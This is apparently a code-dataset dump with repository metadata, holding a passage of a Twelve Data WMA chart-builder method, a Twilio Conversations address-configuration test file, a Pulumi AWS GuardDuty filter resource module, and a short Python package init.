ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param time_period: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = WMAEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep)

41.491286

130

0.624425

33,653

276,166

5.045791

0.027873

0.024116

0.017149

0.019293

0.909573

0.899468

0.89422

0.890375

0.888779

0.886235

0

0.007755

0.316382

276,166

6,655

131

41.497521

0.89168

0.579217

0

0.827665

0

0.033923

0

1

0.035644

false

0

0.005232

0.000981

0.075867

0

null

0

1

0

1

0

null

0

7

f4091e77f2895830936f649bed73845a89c36bee

11,022

py

Python

tests/integration/conversations/v1/test_address_configuration.py

angmunpri/twilio-python

d6ed1098f4bc06529d68f965eabdf87642ac441c

[ "MIT" ]

1

2022-03-03T05:24:20.000Z

tests/integration/conversations/v1/test_address_configuration.py

angmunpri/twilio-python

d6ed1098f4bc06529d68f965eabdf87642ac441c

[ "MIT" ]

1

2022-03-03T05:32:47.000Z

2022-03-03T05:36:32.000Z

tests/integration/conversations/v1/test_address_configuration.py

angmunpri/twilio-python

d6ed1098f4bc06529d68f965eabdf87642ac441c

[ "MIT" ]

null

# coding=utf-8 r""" This code was generated by \ / _ _ _| _ _ | (_)\/(_)(_|\/| |(/_ v1.0.0 / / """ from tests import IntegrationTestCase from tests.holodeck import Request from twilio.base.exceptions import TwilioException from twilio.http.response import Response class AddressConfigurationTestCase(IntegrationTestCase): def test_list_request(self): self.holodeck.mock(Response(500, '')) with self.assertRaises(TwilioException): self.client.conversations.v1.address_configurations.list() self.holodeck.assert_has_request(Request( 'get', 'https://conversations.twilio.com/v1/Configuration/Addresses', )) def test_read_all_response(self): self.holodeck.mock(Response( 200, ''' { "meta": { "page": 0, "page_size": 50, "first_page_url": "https://conversations.twilio.com/v1/Configuration/Addresses?PageSize=50&Page=0", "previous_page_url": null, "url": "https://conversations.twilio.com/v1/Configuration/Addresses?PageSize=50&Page=0", "next_page_url": null, "key": "address_configurations" }, "address_configurations": [ { "account_sid": "ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "sid": "IGaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "address": "+37256123457", "type": "sms", "friendly_name": "My Test Configuration", "auto_creation": { "enabled": true, "type": "webhook", "conversation_service_sid": "ISaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "webhook_url": "https://example.com", "webhook_method": "POST", "webhook_filters": [ "onParticipantAdded", "onMessageAdded" ] }, "date_created": "2016-03-24T21:05:50Z", "date_updated": "2016-03-24T21:05:50Z", "url": "https://conversations.twilio.com/v1/Configuration/Addresses/IGaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" }, { "account_sid": "ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "sid": "IGaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab", "address": "+37256123458", "type": "sms", "friendly_name": "Studio Test Configuration", "auto_creation": { "enabled": false, "type": "studio", "conversation_service_sid": "ISaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "studio_flow_sid": "FWaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "studio_retry_count": 3 }, "date_created": "2016-03-24T21:05:50Z", "date_updated": "2016-03-24T21:05:50Z", "url": "https://conversations.twilio.com/v1/Configuration/Addresses/IGaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab" }, { "account_sid": "ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "sid": "IGaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaac", "address": "+37256123459", "type": "sms", "friendly_name": "Default Test Configuration", "auto_creation": { "enabled": true, "type": "default" }, "date_created": "2016-03-24T21:05:50Z", "date_updated": "2016-03-24T21:05:50Z", "url": "https://conversations.twilio.com/v1/Configuration/Addresses/IGaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaac" } ] } ''' )) actual = self.client.conversations.v1.address_configurations.list() self.assertIsNotNone(actual) def test_read_blank_response(self): self.holodeck.mock(Response( 200, ''' { "meta": { "page": 0, "page_size": 50, "first_page_url": "https://conversations.twilio.com/v1/Configuration/Addresses?PageSize=50&Page=0", "url": "https://conversations.twilio.com/v1/Configuration/Addresses?PageSize=50&Page=0", "previous_page_url": null, "next_page_url": null, "key": "address_configurations" }, "address_configurations": [] } ''' )) actual = self.client.conversations.v1.address_configurations.list() self.assertIsNotNone(actual) def test_fetch_request(self): self.holodeck.mock(Response(500, '')) with self.assertRaises(TwilioException): self.client.conversations.v1.address_configurations("IGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX").fetch() self.holodeck.assert_has_request(Request( 'get', 'https://conversations.twilio.com/v1/Configuration/Addresses/IGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX', )) def test_fetch_response(self): self.holodeck.mock(Response( 200, ''' { "account_sid": "ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "sid": "IGaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "address": "+37256123457", "type": "sms", "friendly_name": "My Test Configuration", "auto_creation": { "enabled": true, "type": "webhook", "conversation_service_sid": "ISaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "webhook_url": "https://example.com", "webhook_method": "POST", "webhook_filters": [ "onParticipantAdded", "onMessageAdded" ] }, "date_created": "2016-03-24T21:05:50Z", "date_updated": "2016-03-24T21:05:50Z", "url": "https://conversations.twilio.com/v1/Configuration/Addresses/IGaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" } ''' )) actual = self.client.conversations.v1.address_configurations("IGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX").fetch() self.assertIsNotNone(actual) def test_create_request(self): self.holodeck.mock(Response(500, '')) with self.assertRaises(TwilioException): self.client.conversations.v1.address_configurations.create(type="sms", address="address") values = {'Type': "sms", 'Address': "address", } self.holodeck.assert_has_request(Request( 'post', 'https://conversations.twilio.com/v1/Configuration/Addresses', data=values, )) def test_create_response(self): self.holodeck.mock(Response( 201, ''' { "account_sid": "ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "sid": "IGaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "address": "+37256123457", "type": "sms", "friendly_name": "My Test Configuration", "auto_creation": { "enabled": true, "type": "webhook", "conversation_service_sid": "ISaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "webhook_url": "https://example.com", "webhook_method": "POST", "webhook_filters": [ "onParticipantAdded", "onMessageAdded" ] }, "date_created": "2016-03-24T21:05:50Z", "date_updated": "2016-03-24T21:05:50Z", "url": "https://conversations.twilio.com/v1/Configuration/Addresses/IGaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" } ''' )) actual = self.client.conversations.v1.address_configurations.create(type="sms", address="address") self.assertIsNotNone(actual) def test_update_request(self): self.holodeck.mock(Response(500, '')) with self.assertRaises(TwilioException): self.client.conversations.v1.address_configurations("IGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX").update() self.holodeck.assert_has_request(Request( 'post', 'https://conversations.twilio.com/v1/Configuration/Addresses/IGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX', )) def test_update_response(self): self.holodeck.mock(Response( 200, ''' { "account_sid": "ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "sid": "IGaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "address": "+37256123457", "type": "sms", "friendly_name": "My Test Configuration Updated", "auto_creation": { "enabled": false, "type": "studio", "conversation_service_sid": "ISaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "studio_flow_sid": "FWaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "studio_retry_count": 3 }, "date_created": "2016-03-24T21:05:50Z", "date_updated": "2016-03-24T21:05:51Z", "url": "https://conversations.twilio.com/v1/Configuration/Addresses/IGaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" } ''' )) actual = self.client.conversations.v1.address_configurations("IGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX").update() self.assertIsNotNone(actual) def test_delete_request(self): self.holodeck.mock(Response(500, '')) with self.assertRaises(TwilioException): self.client.conversations.v1.address_configurations("IGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX").delete() self.holodeck.assert_has_request(Request( 'delete', 'https://conversations.twilio.com/v1/Configuration/Addresses/IGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX', )) def test_delete_response(self): self.holodeck.mock(Response( 204, None, )) actual = self.client.conversations.v1.address_configurations("IGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX").delete() self.assertTrue(actual)

40.08

127

0.52123

785

11,022

7.15414

0.149045

0.034188

0.064103

0.072115

0.874822

0.852386

0.834046

0.826211

0.82443

0.779915

0

0.045422

0.366812

11,022

274

128

40.226277

0.759278

0.009889

0

0.611765

1

0

0.170557

0.052321

0

0.188235

1

0.129412

false

0

0.047059

0

0.188235

0

null

0

1

0

1

0

null

0

7

f40a87698d6643dd93824dc6a64a9feb859cee55

26,047

py

Python

sdk/python/pulumi_aws/guardduty/filter.py

rapzo/pulumi-aws

390a098221315d98a54ba97d1559e750dc3053b7

[ "ECL-2.0", "Apache-2.0" ]

260

2018-06-18T14:57:00.000Z

2022-03-29T11:41:03.000Z

sdk/python/pulumi_aws/guardduty/filter.py

rapzo/pulumi-aws

390a098221315d98a54ba97d1559e750dc3053b7

[ "ECL-2.0", "Apache-2.0" ]

1,154

2018-06-19T20:38:20.000Z

2022-03-31T19:48:16.000Z

sdk/python/pulumi_aws/guardduty/filter.py

rapzo/pulumi-aws

390a098221315d98a54ba97d1559e750dc3053b7

[ "ECL-2.0", "Apache-2.0" ]

115

2018-06-28T03:20:27.000Z

2022-03-29T11:41:06.000Z

# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import _utilities from . import outputs from ._inputs import * __all__ = ['FilterArgs', 'Filter'] @pulumi.input_type class FilterArgs: def __init__(__self__, *, action: pulumi.Input[str], detector_id: pulumi.Input[str], finding_criteria: pulumi.Input['FilterFindingCriteriaArgs'], rank: pulumi.Input[int], description: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None): """ The set of arguments for constructing a Filter resource. :param pulumi.Input[str] action: Specifies the action that is to be applied to the findings that match the filter. Can be one of `ARCHIVE` or `NOOP`. :param pulumi.Input[str] detector_id: ID of a GuardDuty detector, attached to your account. :param pulumi.Input['FilterFindingCriteriaArgs'] finding_criteria: Represents the criteria to be used in the filter for querying findings. Contains one or more `criterion` blocks, documented below. :param pulumi.Input[int] rank: Specifies the position of the filter in the list of current filters. Also specifies the order in which this filter is applied to the findings. :param pulumi.Input[str] description: Description of the filter. :param pulumi.Input[str] name: The name of your filter. :param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: The tags that you want to add to the Filter resource. A tag consists of a key and a value. .If configured with a provider `default_tags` configuration block present, tags with matching keys will overwrite those defined at the provider-level. """ pulumi.set(__self__, "action", action) pulumi.set(__self__, "detector_id", detector_id) pulumi.set(__self__, "finding_criteria", finding_criteria) pulumi.set(__self__, "rank", rank) if description is not None: pulumi.set(__self__, "description", description) if name is not None: pulumi.set(__self__, "name", name) if tags is not None: pulumi.set(__self__, "tags", tags) @property @pulumi.getter def action(self) -> pulumi.Input[str]: """ Specifies the action that is to be applied to the findings that match the filter. Can be one of `ARCHIVE` or `NOOP`. """ return pulumi.get(self, "action") @action.setter def action(self, value: pulumi.Input[str]): pulumi.set(self, "action", value) @property @pulumi.getter(name="detectorId") def detector_id(self) -> pulumi.Input[str]: """ ID of a GuardDuty detector, attached to your account. """ return pulumi.get(self, "detector_id") @detector_id.setter def detector_id(self, value: pulumi.Input[str]): pulumi.set(self, "detector_id", value) @property @pulumi.getter(name="findingCriteria") def finding_criteria(self) -> pulumi.Input['FilterFindingCriteriaArgs']: """ Represents the criteria to be used in the filter for querying findings. Contains one or more `criterion` blocks, documented below. """ return pulumi.get(self, "finding_criteria") @finding_criteria.setter def finding_criteria(self, value: pulumi.Input['FilterFindingCriteriaArgs']): pulumi.set(self, "finding_criteria", value) @property @pulumi.getter def rank(self) -> pulumi.Input[int]: """ Specifies the position of the filter in the list of current filters. Also specifies the order in which this filter is applied to the findings. """ return pulumi.get(self, "rank") @rank.setter def rank(self, value: pulumi.Input[int]): pulumi.set(self, "rank", value) @property @pulumi.getter def description(self) -> Optional[pulumi.Input[str]]: """ Description of the filter. """ return pulumi.get(self, "description") @description.setter def description(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "description", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ The name of your filter. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter def tags(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]: """ The tags that you want to add to the Filter resource. A tag consists of a key and a value. .If configured with a provider `default_tags` configuration block present, tags with matching keys will overwrite those defined at the provider-level. """ return pulumi.get(self, "tags") @tags.setter def tags(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]): pulumi.set(self, "tags", value) @pulumi.input_type class _FilterState: def __init__(__self__, *, action: Optional[pulumi.Input[str]] = None, arn: Optional[pulumi.Input[str]] = None, description: Optional[pulumi.Input[str]] = None, detector_id: Optional[pulumi.Input[str]] = None, finding_criteria: Optional[pulumi.Input['FilterFindingCriteriaArgs']] = None, name: Optional[pulumi.Input[str]] = None, rank: Optional[pulumi.Input[int]] = None, tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, tags_all: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None): """ Input properties used for looking up and filtering Filter resources. :param pulumi.Input[str] action: Specifies the action that is to be applied to the findings that match the filter. Can be one of `ARCHIVE` or `NOOP`. :param pulumi.Input[str] arn: The ARN of the GuardDuty filter. :param pulumi.Input[str] description: Description of the filter. :param pulumi.Input[str] detector_id: ID of a GuardDuty detector, attached to your account. :param pulumi.Input['FilterFindingCriteriaArgs'] finding_criteria: Represents the criteria to be used in the filter for querying findings. Contains one or more `criterion` blocks, documented below. :param pulumi.Input[str] name: The name of your filter. :param pulumi.Input[int] rank: Specifies the position of the filter in the list of current filters. Also specifies the order in which this filter is applied to the findings. :param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: The tags that you want to add to the Filter resource. A tag consists of a key and a value. .If configured with a provider `default_tags` configuration block present, tags with matching keys will overwrite those defined at the provider-level. :param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags_all: A map of tags assigned to the resource, including those inherited from the provider . """ if action is not None: pulumi.set(__self__, "action", action) if arn is not None: pulumi.set(__self__, "arn", arn) if description is not None: pulumi.set(__self__, "description", description) if detector_id is not None: pulumi.set(__self__, "detector_id", detector_id) if finding_criteria is not None: pulumi.set(__self__, "finding_criteria", finding_criteria) if name is not None: pulumi.set(__self__, "name", name) if rank is not None: pulumi.set(__self__, "rank", rank) if tags is not None: pulumi.set(__self__, "tags", tags) if tags_all is not None: pulumi.set(__self__, "tags_all", tags_all) @property @pulumi.getter def action(self) -> Optional[pulumi.Input[str]]: """ Specifies the action that is to be applied to the findings that match the filter. Can be one of `ARCHIVE` or `NOOP`. """ return pulumi.get(self, "action") @action.setter def action(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "action", value) @property @pulumi.getter def arn(self) -> Optional[pulumi.Input[str]]: """ The ARN of the GuardDuty filter. """ return pulumi.get(self, "arn") @arn.setter def arn(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "arn", value) @property @pulumi.getter def description(self) -> Optional[pulumi.Input[str]]: """ Description of the filter. """ return pulumi.get(self, "description") @description.setter def description(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "description", value) @property @pulumi.getter(name="detectorId") def detector_id(self) -> Optional[pulumi.Input[str]]: """ ID of a GuardDuty detector, attached to your account. """ return pulumi.get(self, "detector_id") @detector_id.setter def detector_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "detector_id", value) @property @pulumi.getter(name="findingCriteria") def finding_criteria(self) -> Optional[pulumi.Input['FilterFindingCriteriaArgs']]: """ Represents the criteria to be used in the filter for querying findings. Contains one or more `criterion` blocks, documented below. """ return pulumi.get(self, "finding_criteria") @finding_criteria.setter def finding_criteria(self, value: Optional[pulumi.Input['FilterFindingCriteriaArgs']]): pulumi.set(self, "finding_criteria", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ The name of your filter. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter def rank(self) -> Optional[pulumi.Input[int]]: """ Specifies the position of the filter in the list of current filters. Also specifies the order in which this filter is applied to the findings. """ return pulumi.get(self, "rank") @rank.setter def rank(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "rank", value) @property @pulumi.getter def tags(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]: """ The tags that you want to add to the Filter resource. A tag consists of a key and a value. .If configured with a provider `default_tags` configuration block present, tags with matching keys will overwrite those defined at the provider-level. """ return pulumi.get(self, "tags") @tags.setter def tags(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]): pulumi.set(self, "tags", value) @property @pulumi.getter(name="tagsAll") def tags_all(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]: """ A map of tags assigned to the resource, including those inherited from the provider . """ return pulumi.get(self, "tags_all") @tags_all.setter def tags_all(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]): pulumi.set(self, "tags_all", value) class Filter(pulumi.CustomResource): @overload def __init__(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, action: Optional[pulumi.Input[str]] = None, description: Optional[pulumi.Input[str]] = None, detector_id: Optional[pulumi.Input[str]] = None, finding_criteria: Optional[pulumi.Input[pulumi.InputType['FilterFindingCriteriaArgs']]] = None, name: Optional[pulumi.Input[str]] = None, rank: Optional[pulumi.Input[int]] = None, tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, __props__=None): """ Provides a resource to manage a GuardDuty filter. ## Example Usage ```python import pulumi import pulumi_aws as aws my_filter = aws.guardduty.Filter("myFilter", action="ARCHIVE", detector_id=aws_guardduty_detector["example"]["id"], rank=1, finding_criteria=aws.guardduty.FilterFindingCriteriaArgs( criterions=[ aws.guardduty.FilterFindingCriteriaCriterionArgs( field="region", equals=["eu-west-1"], ), aws.guardduty.FilterFindingCriteriaCriterionArgs( field="service.additionalInfo.threatListName", not_equals=[ "some-threat", "another-threat", ], ), aws.guardduty.FilterFindingCriteriaCriterionArgs( field="updatedAt", greater_than="2020-01-01T00:00:00Z", less_than="2020-02-01T00:00:00Z", ), aws.guardduty.FilterFindingCriteriaCriterionArgs( field="severity", greater_than_or_equal="4", ), ], )) ``` ## Import GuardDuty filters can be imported using the detector ID and filter's name separated by a colon, e.g. ```sh $ pulumi import aws:guardduty/filter:Filter MyFilter 00b00fd5aecc0ab60a708659477e9617:MyFilter ``` :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] action: Specifies the action that is to be applied to the findings that match the filter. Can be one of `ARCHIVE` or `NOOP`. :param pulumi.Input[str] description: Description of the filter. :param pulumi.Input[str] detector_id: ID of a GuardDuty detector, attached to your account. :param pulumi.Input[pulumi.InputType['FilterFindingCriteriaArgs']] finding_criteria: Represents the criteria to be used in the filter for querying findings. Contains one or more `criterion` blocks, documented below. :param pulumi.Input[str] name: The name of your filter. :param pulumi.Input[int] rank: Specifies the position of the filter in the list of current filters. Also specifies the order in which this filter is applied to the findings. :param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: The tags that you want to add to the Filter resource. A tag consists of a key and a value. .If configured with a provider `default_tags` configuration block present, tags with matching keys will overwrite those defined at the provider-level. """ ... @overload def __init__(__self__, resource_name: str, args: FilterArgs, opts: Optional[pulumi.ResourceOptions] = None): """ Provides a resource to manage a GuardDuty filter. ## Example Usage ```python import pulumi import pulumi_aws as aws my_filter = aws.guardduty.Filter("myFilter", action="ARCHIVE", detector_id=aws_guardduty_detector["example"]["id"], rank=1, finding_criteria=aws.guardduty.FilterFindingCriteriaArgs( criterions=[ aws.guardduty.FilterFindingCriteriaCriterionArgs( field="region", equals=["eu-west-1"], ), aws.guardduty.FilterFindingCriteriaCriterionArgs( field="service.additionalInfo.threatListName", not_equals=[ "some-threat", "another-threat", ], ), aws.guardduty.FilterFindingCriteriaCriterionArgs( field="updatedAt", greater_than="2020-01-01T00:00:00Z", less_than="2020-02-01T00:00:00Z", ), aws.guardduty.FilterFindingCriteriaCriterionArgs( field="severity", greater_than_or_equal="4", ), ], )) ``` ## Import GuardDuty filters can be imported using the detector ID and filter's name separated by a colon, e.g. ```sh $ pulumi import aws:guardduty/filter:Filter MyFilter 00b00fd5aecc0ab60a708659477e9617:MyFilter ``` :param str resource_name: The name of the resource. :param FilterArgs args: The arguments to use to populate this resource's properties. :param pulumi.ResourceOptions opts: Options for the resource. """ ... def __init__(__self__, resource_name: str, *args, **kwargs): resource_args, opts = _utilities.get_resource_args_opts(FilterArgs, pulumi.ResourceOptions, *args, **kwargs) if resource_args is not None: __self__._internal_init(resource_name, opts, **resource_args.__dict__) else: __self__._internal_init(resource_name, *args, **kwargs) def _internal_init(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, action: Optional[pulumi.Input[str]] = None, description: Optional[pulumi.Input[str]] = None, detector_id: Optional[pulumi.Input[str]] = None, finding_criteria: Optional[pulumi.Input[pulumi.InputType['FilterFindingCriteriaArgs']]] = None, name: Optional[pulumi.Input[str]] = None, rank: Optional[pulumi.Input[int]] = None, tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, __props__=None): if opts is None: opts = pulumi.ResourceOptions() if not isinstance(opts, pulumi.ResourceOptions): raise TypeError('Expected resource options to be a ResourceOptions instance') if opts.version is None: opts.version = _utilities.get_version() if opts.id is None: if __props__ is not None: raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource') __props__ = FilterArgs.__new__(FilterArgs) if action is None and not opts.urn: raise TypeError("Missing required property 'action'") __props__.__dict__["action"] = action __props__.__dict__["description"] = description if detector_id is None and not opts.urn: raise TypeError("Missing required property 'detector_id'") __props__.__dict__["detector_id"] = detector_id if finding_criteria is None and not opts.urn: raise TypeError("Missing required property 'finding_criteria'") __props__.__dict__["finding_criteria"] = finding_criteria __props__.__dict__["name"] = name if rank is None and not opts.urn: raise TypeError("Missing required property 'rank'") __props__.__dict__["rank"] = rank __props__.__dict__["tags"] = tags __props__.__dict__["arn"] = None __props__.__dict__["tags_all"] = None super(Filter, __self__).__init__( 'aws:guardduty/filter:Filter', resource_name, __props__, opts) @staticmethod def get(resource_name: str, id: pulumi.Input[str], opts: Optional[pulumi.ResourceOptions] = None, action: Optional[pulumi.Input[str]] = None, arn: Optional[pulumi.Input[str]] = None, description: Optional[pulumi.Input[str]] = None, detector_id: Optional[pulumi.Input[str]] = None, finding_criteria: Optional[pulumi.Input[pulumi.InputType['FilterFindingCriteriaArgs']]] = None, name: Optional[pulumi.Input[str]] = None, rank: Optional[pulumi.Input[int]] = None, tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, tags_all: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None) -> 'Filter': """ Get an existing Filter resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param pulumi.Input[str] id: The unique provider ID of the resource to lookup. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] action: Specifies the action that is to be applied to the findings that match the filter. Can be one of `ARCHIVE` or `NOOP`. :param pulumi.Input[str] arn: The ARN of the GuardDuty filter. :param pulumi.Input[str] description: Description of the filter. :param pulumi.Input[str] detector_id: ID of a GuardDuty detector, attached to your account. :param pulumi.Input[pulumi.InputType['FilterFindingCriteriaArgs']] finding_criteria: Represents the criteria to be used in the filter for querying findings. Contains one or more `criterion` blocks, documented below. :param pulumi.Input[str] name: The name of your filter. :param pulumi.Input[int] rank: Specifies the position of the filter in the list of current filters. Also specifies the order in which this filter is applied to the findings. :param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: The tags that you want to add to the Filter resource. A tag consists of a key and a value. .If configured with a provider `default_tags` configuration block present, tags with matching keys will overwrite those defined at the provider-level. :param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags_all: A map of tags assigned to the resource, including those inherited from the provider . """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = _FilterState.__new__(_FilterState) __props__.__dict__["action"] = action __props__.__dict__["arn"] = arn __props__.__dict__["description"] = description __props__.__dict__["detector_id"] = detector_id __props__.__dict__["finding_criteria"] = finding_criteria __props__.__dict__["name"] = name __props__.__dict__["rank"] = rank __props__.__dict__["tags"] = tags __props__.__dict__["tags_all"] = tags_all return Filter(resource_name, opts=opts, __props__=__props__) @property @pulumi.getter def action(self) -> pulumi.Output[str]: """ Specifies the action that is to be applied to the findings that match the filter. Can be one of `ARCHIVE` or `NOOP`. """ return pulumi.get(self, "action") @property @pulumi.getter def arn(self) -> pulumi.Output[str]: """ The ARN of the GuardDuty filter. """ return pulumi.get(self, "arn") @property @pulumi.getter def description(self) -> pulumi.Output[Optional[str]]: """ Description of the filter. """ return pulumi.get(self, "description") @property @pulumi.getter(name="detectorId") def detector_id(self) -> pulumi.Output[str]: """ ID of a GuardDuty detector, attached to your account. """ return pulumi.get(self, "detector_id") @property @pulumi.getter(name="findingCriteria") def finding_criteria(self) -> pulumi.Output['outputs.FilterFindingCriteria']: """ Represents the criteria to be used in the filter for querying findings. Contains one or more `criterion` blocks, documented below. """ return pulumi.get(self, "finding_criteria") @property @pulumi.getter def name(self) -> pulumi.Output[str]: """ The name of your filter. """ return pulumi.get(self, "name") @property @pulumi.getter def rank(self) -> pulumi.Output[int]: """ Specifies the position of the filter in the list of current filters. Also specifies the order in which this filter is applied to the findings. """ return pulumi.get(self, "rank") @property @pulumi.getter def tags(self) -> pulumi.Output[Optional[Mapping[str, str]]]: """ The tags that you want to add to the Filter resource. A tag consists of a key and a value. .If configured with a provider `default_tags` configuration block present, tags with matching keys will overwrite those defined at the provider-level. """ return pulumi.get(self, "tags") @property @pulumi.getter(name="tagsAll") def tags_all(self) -> pulumi.Output[Mapping[str, str]]: """ A map of tags assigned to the resource, including those inherited from the provider . """ return pulumi.get(self, "tags_all")

44.908621

308

0.626828

3,055

26,047

5.191817

0.076596

0.087384

0.069731

0.04716

0.879453

0.861421

0.831284

0.80657

0.798563

0.786583

0

0.00555

0.273698

26,047

579

309

44.986183

0.832858

0.411794

0

0.66

1

0

0.092616

0.020524

0

1

0.16

false

0.003333

0.023333

0

0.28

0

null

0

1

0

1

0

null

0

7

f4269f019fb72dc648684d990994321a4767ce06

325

py

Python

titan/api_pkg/__init__.py

mnieber/gen

65f8aa4fb671c4f90d5cbcb1a0e10290647a31d9

[ "MIT" ]

null

titan/api_pkg/__init__.py

mnieber/gen

65f8aa4fb671c4f90d5cbcb1a0e10290647a31d9

[ "MIT" ]

null

titan/api_pkg/__init__.py

mnieber/gen

65f8aa4fb671c4f90d5cbcb1a0e10290647a31d9

[ "MIT" ]

null

from . import ( extendspectypes, formtype, graphqlapi, item, itemlist, itemtype, mutation, pipeline, query, typeregistry, ) modules = [ extendspectypes, formtype, graphqlapi, item, itemlist, itemtype, mutation, pipeline, typeregistry, query, ]

12.5

20

0.581538

23

325

8.217391

0.565217

0.243386

0.349206

0.391534

0.730159

0

0.338462

325

25

21

13

0.87907

0

0.833333

0

1

0

false

0

0.041667

0

0.041667

0

1

0

null

1

0

1

0

1

0

null

0

8

f42e08727ecc3b42db9b3fa97b8b6fa7538c5a46

239

py

Python

September 2020/04-Comprehension/02-No-Vowels.py

eclipse-ib/Software-University-Professional-Advanced-Module

636385f9e5521840f680644824d725d074b93c9a

[ "MIT" ]

null

September 2020/04-Comprehension/02-No-Vowels.py

eclipse-ib/Software-University-Professional-Advanced-Module

636385f9e5521840f680644824d725d074b93c9a

[ "MIT" ]

null

September 2020/04-Comprehension/02-No-Vowels.py

eclipse-ib/Software-University-Professional-Advanced-Module

636385f9e5521840f680644824d725d074b93c9a

[ "MIT" ]

null

